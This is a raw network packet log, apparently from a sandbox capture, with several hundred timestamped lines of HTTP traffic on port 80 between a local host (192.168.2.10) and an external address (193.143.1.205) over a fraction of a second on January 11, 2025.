Jan 11, 2025 08:50:43.735996008 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.736008883 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.736022949 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.736363888 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.736377954 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.736393929 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.736393929 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.736411095 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.736423969 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.736701965 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.736716032 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.736731052 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.736731052 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.736747980 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.736758947 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.737008095 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.737042904 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.737044096 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.737060070 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.737075090 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.737090111 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.737091064 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.737124920 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.737411976 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.737426996 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.737456083 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.737586021 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.737601995 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.737617970 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.737631083 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.737771034 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.737786055 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.737807035 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.785832882 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.806762934 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.806811094 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.806827068 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.806855917 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.806938887 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.806956053 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.806974888 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.807068110 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.807082891 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.807100058 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.807156086 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.807171106 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.807187080 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.807187080 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.807216883 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.822741985 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.822820902 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.822834969 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.822854996 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.822987080 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.823007107 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.823024035 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.823123932 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.823138952 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.823153019 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.823156118 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.823185921 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.823198080 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.840118885 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.840176105 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.840198994 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.840214014 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.840248108 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.840322018 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.840337038 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.840365887 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.840451956 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.840466976 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.840507984 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.840589046 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.840604067 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.840619087 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.840634108 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.856064081 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.856106997 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.856147051 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.856163025 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.856199026 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.856302977 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.856323004 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.856332064 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.856340885 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.856364012 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.856409073 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.856550932 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.856566906 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.856580973 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.856597900 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.856769085 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.856781006 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.856795073 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.856801987 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.856810093 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.856827974 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.856971979 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.856987000 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.857013941 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.857109070 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.857124090 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.857139111 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.857141972 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.857156992 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.857167959 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.857429981 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.857445002 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.857459068 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.857462883 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.857474089 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.857489109 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.857494116 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.857505083 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.857520103 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.857521057 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.857549906 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.857836008 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.857914925 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.857928991 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.857944012 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.857949018 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.857959032 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.857974052 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.857984066 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.858006001 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.858350992 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.858365059 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.858378887 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.858393908 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.858400106 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.858409882 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.858424902 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.858433008 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.858448029 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.858462095 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.858473063 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.858475924 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.858489990 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.858490944 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.858505964 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.858520031 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.858539104 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.858563900 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.859263897 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.859278917 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.859293938 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.859308004 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.859317064 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.859330893 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.859344006 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.859344959 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.859359026 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.859373093 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.859388113 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.859389067 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.859402895 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.859415054 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.859417915 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.859432936 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.859436035 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.859462023 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.860115051 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.860131025 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.860145092 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.860162020 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.860166073 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.860198021 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.860997915 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.861021042 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.861028910 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.861037016 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.861066103 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.861085892 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.861093998 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.861170053 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.861174107 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.861188889 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.861207008 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.861233950 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.861412048 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.861426115 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.861440897 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.861457109 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.861541986 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.861556053 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.861572027 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.861573935 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.861583948 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.861599922 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.861740112 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.861754894 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.861769915 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.861774921 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.861785889 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.861802101 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.861974955 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.861989021 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.862006903 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.862008095 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.862011909 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.862027884 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.862056017 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.862071037 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.897351980 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.897449970 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.897474051 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.897490978 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.897567034 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.897582054 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.897600889 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.897701025 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.897716999 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.897737026 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.905858994 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.913208008 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.913244963 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.913279057 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.913291931 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.913324118 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.913400888 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.913417101 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.913448095 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.913501978 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.913516998 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.913530111 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.913544893 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.917279959 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.930641890 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.930655003 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.930670023 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.930680990 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.930706024 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.930749893 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.930766106 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.930808067 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.930917978 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.930932999 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.930947065 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.930962086 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.931102991 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.931118011 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.931133032 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.931133986 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.931168079 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.931335926 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.931349993 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.931364059 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.931379080 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.931380033 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.931415081 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.946660042 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.946717024 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.946732044 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.946749926 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.946814060 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.946856022 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.946938992 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.946954012 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.946968079 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.946983099 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.946990013 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.947007895 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.947026014 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.947227955 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.947263002 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.947371960 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.947386026 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.947407007 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.947417021 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.947418928 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.947426081 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.947433949 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.947442055 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.947453022 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.947478056 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.947789907 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.947814941 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.947825909 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.947829008 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.947843075 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.947858095 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.947864056 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.947891951 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.948060036 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.948074102 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.948137045 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.948213100 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.948227882 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.948240995 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.948255062 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.948260069 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.948275089 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.948288918 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.948292017 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.948302984 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.948317051 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.948318958 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.948332071 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.948345900 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.948349953 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.948359966 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.948374033 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.948379993 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.948406935 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.949160099 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.949174881 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.949188948 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.949203968 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.949204922 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.949219942 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.949234009 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.949235916 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.949248075 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.949265003 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.949266911 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.949278116 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.949292898 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.949300051 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.949306965 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.949321985 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.949326992 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.949337006 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.949351072 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.949357986 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.949385881 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.950118065 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.950134039 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.950148106 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.950164080 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.950164080 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.950171947 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.950179100 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.950181961 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.950196028 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.950211048 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.950212002 CET	49704	80	192.168.2.10	193.143.1.205
Jan 11, 2025 08:50:43.950225115 CET	80	49704	193.143.1.205	192.168.2.10
Jan 11, 2025 08:50:43.950239897 CET	80	49704	193.143.1.205	192.168.2.10
